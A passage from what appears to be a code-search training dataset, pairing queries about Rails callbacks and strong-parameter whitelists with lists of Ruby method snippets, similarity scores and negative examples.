"def sum_it_up(array)\n return array if array.size == 1\n\n new_array = []\n\n array.size.times do |number|\n if (number + 1) < array.size\n new_array << (array[number] + array[number + 1])\n end\n end\n\n new_array\nend",
"def convert_song_original_array(song)\n song.map! do |lyric|\n word = lyric[0]\n number = lyric[1]\n (word * number).scan(word) # returns an array of instanaces of word\n end\n song.flatten!\n return song\nend",
"def my_array_splitting_method(source)\n big_array = []\n first_array = []\n second_array = []\n source.each do |thing|\n if thing.to_i == thing\n first_array.push(thing)\n else\n second_array.push(thing)\n end\n end\n return big_array.push(first_array).push(second_array)\nend",
"def make_pattern(array = [], number) # Define a method with two paremeter one array which will be the output and another one which is the given number.\r\n if number <= 0 # This is our base case it will stop if the number is 0 or less than that.\r\n array << number #Then we will push the number in to the array.\r\n\t\tarray << array.reverse #Now we will push the array in to it self, But in reverse order.\r\n\t\tarray.flatten! # At this two point we have a nested array it should be turn to one array.\r\n array.delete_at(array.length / 2) # Now there is a problem in our array the middle element of the array is repeated twice.So we delete one.\r\n return array # The array is ready to be called.\r\n end\r\n array << number # It pushes the number in to array \r\n make_pattern(array , number - 5) # This will make our method recursive.It will deduct 5 from our number at each time the method execute.\r\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"def anagrams(array)\n copy_array = array.dup\n result_array = []\n iteration_idx = 0\n until copy_array.empty?\n \n word = copy_array.pop\n next if word.nil?\n \n result_array << []\n result_array[iteration_idx] << word\n copy_array.each do |sub_word|\n next if sub_word.nil?\n if are_anagrams?(sub_word, word)\n result_array[iteration_idx] << sub_word\n idx = copy_array.index(sub_word)\n copy_array[idx] = nil\n end\n end\n \n iteration_idx += 1\n end\n \n result_array\nend",
"def sequence3(num)\n (1..num).each_with_object([]) do |n, arr|\n arr << n\n end\nend",
"def explode arr\n size = arr.map { |i| i.is_a?(Integer) ? i : 0 }.sum\n size.zero? ? \"Void!\" : Array.new(size, arr)\nend",
"def concatenate_array_of_strings(array)\n counter = 0\n strings_concatenated = ''\n\n until array.length <= counter \n strings_concatenated << array[counter]\n counter += 1\n end\n strings_concatenated \nend"
] | [
"0.67205137",
"0.6444096",
"0.6442528",
"0.63721406",
"0.6255308",
"0.6249212",
"0.61839813",
"0.6150769",
"0.6125925",
"0.6083866",
"0.6069485",
"0.6041016",
"0.59955895",
"0.59783876",
"0.5967624",
"0.596266",
"0.59558403",
"0.5938056",
"0.5936576",
"0.5916104",
"0.5891433",
"0.58782154",
"0.58672523",
"0.5848529",
"0.5827876",
"0.58067054",
"0.5800407",
"0.5795341",
"0.5780127",
"0.57702005",
"0.5768648",
"0.5766478",
"0.5762031",
"0.57533485",
"0.57518023",
"0.57509327",
"0.5745406",
"0.57257855",
"0.57181805",
"0.5717899",
"0.5715998",
"0.5713052",
"0.5711776",
"0.56778944",
"0.56711596",
"0.5666482",
"0.5662035",
"0.5657153",
"0.56569815",
"0.56556517",
"0.565317",
"0.5648256",
"0.56434244",
"0.56411403",
"0.5639436",
"0.56349117",
"0.56336814",
"0.56336814",
"0.56199175",
"0.5618281",
"0.5613908",
"0.5605103",
"0.559817",
"0.5594349",
"0.5589764",
"0.55845964",
"0.55829525",
"0.5582671",
"0.5580146",
"0.5578086",
"0.5576373",
"0.55723584",
"0.55635685",
"0.5562467",
"0.555952",
"0.5558003",
"0.55549914",
"0.5554018",
"0.5553741",
"0.55509895",
"0.55491084",
"0.55456764",
"0.55453014",
"0.55363965",
"0.5534705",
"0.55322313",
"0.5524163",
"0.5523389",
"0.55224705",
"0.55214787",
"0.55205625",
"0.55202943",
"0.55159676",
"0.55123574",
"0.5511031",
"0.5511031",
"0.55108696",
"0.5508029",
"0.54980314",
"0.5497583"
] | 0.580869 | 25 |
Use callbacks to share common setup or constraints between actions. | def set_slate
@slate = Slate.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a trusted parameter "white list" through. | def slate_params
# params.fetch(:slate, {}).permit(:name, :election_cycle)
# alternate ejemplo
# params.require(:slate).permit(:name, :election_cycle)
params.require(:slate).permit!
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] | [
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] | 0.0 | -1 |
=> Code Snippet pour une nouvelle QD | def snippet_for_qd
"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snippet_for_new_qdf\n snippet_for_new_qd\n end",
"def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end",
"def q\n self\n end",
"def qv\n end",
"def q(t)\n \n end",
"def odk_code\n \"q#{id}\"\n end",
"def odk_code\n \"q#{id}\"\n end",
"def quest; end",
"def source_question\n self.dataset.questions.with_code(self.code)\n end",
"def select_qd_without_rd\n qds = hash_qds true\n if qds.empty?\n Snippet::alert \"Aucune QD n'est sans réponse dans ce fichier…\", \"Il faut définir une QD avant de définir sa RD.\"\n else\n items_string = qds.collect do |dqd|\n dqd[:qd].gsub!(/\\\"/,\"\\\\\\\"\"); \"\\\"#{dqd[:qd]}\\\"\"\n end.join(' ')\n args = [\n 'dropdown',\n '--title \"Choix de la QD\"',\n '--text \"Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)\"',\n '--exit-onchange', # -> se ferme après le choix\n '--button1 \"Choisir cette QD\"',\n '--button3 \"Renoncer\"',\n '--items ' + items_string,\n '2>/dev/null'\n ]\n cmd = \"#{cocoaD} #{args.join(' ')}\"\n u_reponse = %x{#{cmd}}\n btn_name, user_choix = u_reponse.split(\"\\n\")\n return nil if btn_name.to_i == 3\n qds[user_choix.to_i][:id]\n end\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def skier_quest; end",
"def prapor_quest; end",
"def qe_modifiers\n end",
"def name\n return 'Generic QAQC'\n end",
"def king_richard_iii_quote; end",
"def getSqlSm (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listOptions = getListOptions(questionChild,\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_sm.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def phq2?; end",
"def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[tab_stop\\]/)\n type_reponse.sub!(/\\[tab_stop\\]/, \"\\${#{Snippet::next_tab}:TEXTE}\")\n end\n sn = \"\"\n sn << \"RD##{Objet::next_id_of_type 'RD'}: \"\n sn << horloge\n sn << \"[QD##{qd_id}] \"\n sn << \"#{type_reponse}\"\n sn << \" $0\"\n return sn\n end",
"def create_question\n @question = \"#{operand} #{type} #{operand}\"\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def questions\n \n end",
"def query_def; @seq1.definition; end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def question_type\n Exercise::Q_CODING\n end",
"def as_you_like_it_quote; end",
"def Q?(&block)\n SexpPath::SexpQueryBuilder.do(&block)\nend",
"def inspect_question(q)\n index_question(q) unless q.tag.empty?\n ref_question(q)\n q.answers.each { |a| ref_answer(q, a) }\n end",
"def mechanic_quest; end",
"def enq\n end",
"def enq\n end",
